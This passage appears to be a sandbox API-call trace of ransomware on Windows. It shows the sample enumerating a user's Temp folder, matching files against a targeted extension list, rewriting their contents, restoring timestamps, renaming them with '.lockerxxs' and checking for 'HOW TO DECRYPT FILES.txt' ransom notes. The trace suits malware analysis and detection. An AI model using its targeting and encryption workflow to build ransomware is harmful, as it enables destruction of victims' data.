halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.582] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0086.582] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd97fe0a0, dwHighDateTime=0x1d2dda0), lpLastAccessTime=0x407536*(dwLowDateTime=0xd97fe0a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0xed0fc650, dwHighDateTime=0x1d35d05)) returned 1 [0086.582] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.582] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3fda, lpOverlapped=0x0) returned 1 [0086.585] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned="index.dat" [0086.585] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.585] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3fda, lpOverlapped=0x0) returned 1 [0086.586] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.586] CloseHandle (hObject=0x98) returned 1 [0086.586] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat.lockerxxs")) returned 1 [0086.587] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0086.587] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0086.587] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0 [0086.587] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.588] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62397ec0, ftCreationTime.dwHighDateTime=0x1d5df5f, ftLastAccessTime.dwLowDateTime=0xd343adf0, ftLastAccessTime.dwHighDateTime=0x1d5dd5e, ftLastWriteTime.dwLowDateTime=0xd343adf0, ftLastWriteTime.dwHighDateTime=0x1d5dd5e, nFileSizeHigh=0x0, nFileSizeLow=0x1509e, dwReserved0=0x690048, dwReserved1=0x740073, cFileName="hJmy.mkv", cAlternateFileName="")) returned 1 [0086.588] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.588] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hJmy.mkv") returned -1 [0086.588] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hJmy.mkv") returned 1 [0086.588] lstrcmpiA (lpString1="", lpString2="hJmy.mkv") returned -1 [0086.588] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*.*") returned="*.*" [0086.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.588] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.588] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.588] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.588] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="hJmy.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" [0086.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.ems") returned 0 [0086.588] lstrlenA (lpString="*.ems") returned 5 [0086.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.db") returned 0 [0086.588] lstrlenA (lpString="*.db") returned 4 [0086.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.dbf") returned 0 [0086.589] lstrlenA (lpString="*.dbf") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.myox") returned 0 [0086.589] lstrlenA (lpString="*.myox") returned 6 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.myo") returned 0 [0086.589] lstrlenA (lpString="*.myo") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbw") returned 0 [0086.589] lstrlenA (lpString="*.qbw") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbb") returned 0 [0086.589] lstrlenA (lpString="*.qbb") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbm") returned 0 [0086.589] lstrlenA (lpString="*.qbm") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbo") returned 0 [0086.589] lstrlenA (lpString="*.qbo") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbx") returned 0 [0086.589] lstrlenA (lpString="*.qbx") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qba") returned 0 [0086.589] lstrlenA (lpString="*.qba") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qby") returned 0 [0086.589] lstrlenA (lpString="*.qby") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qbj") returned 0 [0086.589] lstrlenA (lpString="*.qbj") returned 5 [0086.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.ofx") returned 0 [0086.590] lstrlenA (lpString="*.ofx") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.qif") returned 0 [0086.590] lstrlenA (lpString="*.qif") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.mye") returned 0 [0086.590] lstrlenA (lpString="*.mye") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.mbox") returned 0 [0086.590] lstrlenA (lpString="*.mbox") returned 6 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.eml") returned 0 [0086.590] lstrlenA (lpString="*.eml") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.pst") returned 0 [0086.590] lstrlenA (lpString="*.pst") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.ost") returned 0 [0086.590] lstrlenA (lpString="*.ost") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.idx") returned 0 [0086.590] lstrlenA (lpString="*.idx") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.dbx") returned 0 [0086.590] lstrlenA (lpString="*.dbx") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.sql") returned 0 [0086.590] lstrlenA (lpString="*.sql") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.mdb") returned 0 [0086.590] lstrlenA (lpString="*.mdb") returned 5 [0086.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.fdb") returned 0 [0086.591] lstrlenA (lpString="*.fdb") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.wab") returned 0 [0086.591] lstrlenA (lpString="*.wab") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.dat") returned 0 [0086.591] lstrlenA (lpString="*.dat") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.txt") returned 0 [0086.591] lstrlenA (lpString="*.txt") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.jpeg") returned 0 [0086.591] lstrlenA (lpString="*.jpeg") returned 6 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.jpg") returned 0 [0086.591] lstrlenA (lpString="*.jpg") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.png") returned 0 [0086.591] lstrlenA (lpString="*.png") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.php") returned 0 [0086.591] lstrlenA (lpString="*.php") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.cs") returned 0 [0086.591] lstrlenA (lpString="*.cs") returned 4 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.cpp") returned 0 [0086.591] lstrlenA (lpString="*.cpp") returned 5 [0086.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.rar") returned 0 [0086.592] lstrlenA (lpString="*.rar") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.zip") returned 0 [0086.592] lstrlenA (lpString="*.zip") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.html") returned 0 [0086.592] lstrlenA (lpString="*.html") returned 6 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.htm") returned 0 [0086.592] lstrlenA (lpString="*.htm") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.xlsx") returned 0 [0086.592] lstrlenA (lpString="*.xlsx") returned 6 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.xls") returned 0 [0086.592] lstrlenA (lpString="*.xls") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.mp4") returned 0 [0086.592] lstrlenA (lpString="*.mp4") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.ppt") returned 0 [0086.592] lstrlenA (lpString="*.ppt") returned 5 [0086.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.pptx") returned 0 [0086.593] lstrlenA (lpString="*.pptx") returned 6 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.doc") returned 0 [0086.593] lstrlenA (lpString="*.doc") returned 5 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.dot") returned 0 [0086.593] lstrlenA (lpString="*.dot") returned 5 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.docx") returned 0 [0086.593] lstrlenA (lpString="*.docx") returned 6 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.7z") returned 0 [0086.593] lstrlenA (lpString="*.7z") returned 4 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.tar") returned 0 [0086.593] lstrlenA (lpString="*.tar") returned 5 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.bz2") returned 0 [0086.593] lstrlenA (lpString="*.bz2") returned 5 [0086.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.gz") returned 0 [0086.593] lstrlenA (lpString="*.gz") returned 4 [0086.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", pszSpec="*.mkv") returned 1 [0086.594] lstrlenA (lpString="*.mkv") returned 5 [0086.594] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" [0086.594] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" [0086.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv." [0086.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv.lockerxxs" [0086.594] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hjmy.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.595] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1509e [0086.595] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x62397ec0, dwHighDateTime=0x1d5df5f), lpLastAccessTime=0x407536*(dwLowDateTime=0xd343adf0, dwHighDateTime=0x1d5dd5e), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd343adf0, dwHighDateTime=0x1d5dd5e)) returned 1 [0086.595] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.595] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15078, lpOverlapped=0x0) returned 1 [0086.597] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv") returned="hJmy.mkv" [0086.598] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.598] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15078, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15078, lpOverlapped=0x0) returned 1 [0086.598] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.598] CloseHandle (hObject=0x90) returned 1 [0086.598] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hjmy.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hjmy.mkv.lockerxxs")) returned 1 [0086.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c12b3d0, ftCreationTime.dwHighDateTime=0x1d5e225, ftLastAccessTime.dwLowDateTime=0x206018e0, ftLastAccessTime.dwHighDateTime=0x1d5d836, ftLastWriteTime.dwLowDateTime=0x206018e0, ftLastWriteTime.dwHighDateTime=0x1d5d836, nFileSizeHigh=0x0, nFileSizeLow=0x1c5a, dwReserved0=0xee0001ef, dwReserved1=0x4e00c4, cFileName="hPHnjE.bmp", cAlternateFileName="")) returned 1 [0086.600] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.600] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hPHnjE.bmp") returned -1 [0086.600] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hPHnjE.bmp") returned -1 [0086.600] lstrcmpiA (lpString1="", lpString2="hPHnjE.bmp") returned -1 [0086.600] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hJmy.mkv") returned="hJmy.mkv" [0086.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.600] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.600] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.600] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.600] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="hPHnjE.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp" [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.ems") returned 0 [0086.601] lstrlenA (lpString="*.ems") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.db") returned 0 [0086.601] lstrlenA (lpString="*.db") returned 4 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.dbf") returned 0 [0086.601] lstrlenA (lpString="*.dbf") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.myox") returned 0 [0086.601] lstrlenA (lpString="*.myox") returned 6 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.myo") returned 0 [0086.601] lstrlenA (lpString="*.myo") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbw") returned 0 [0086.601] lstrlenA (lpString="*.qbw") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbb") returned 0 [0086.601] lstrlenA (lpString="*.qbb") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbm") returned 0 [0086.601] lstrlenA (lpString="*.qbm") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbo") returned 0 [0086.601] lstrlenA (lpString="*.qbo") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbx") returned 0 [0086.601] lstrlenA (lpString="*.qbx") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qba") returned 0 [0086.601] lstrlenA (lpString="*.qba") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qby") returned 0 [0086.601] lstrlenA (lpString="*.qby") returned 5 [0086.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qbj") returned 0 [0086.602] lstrlenA (lpString="*.qbj") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.ofx") returned 0 [0086.602] lstrlenA (lpString="*.ofx") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 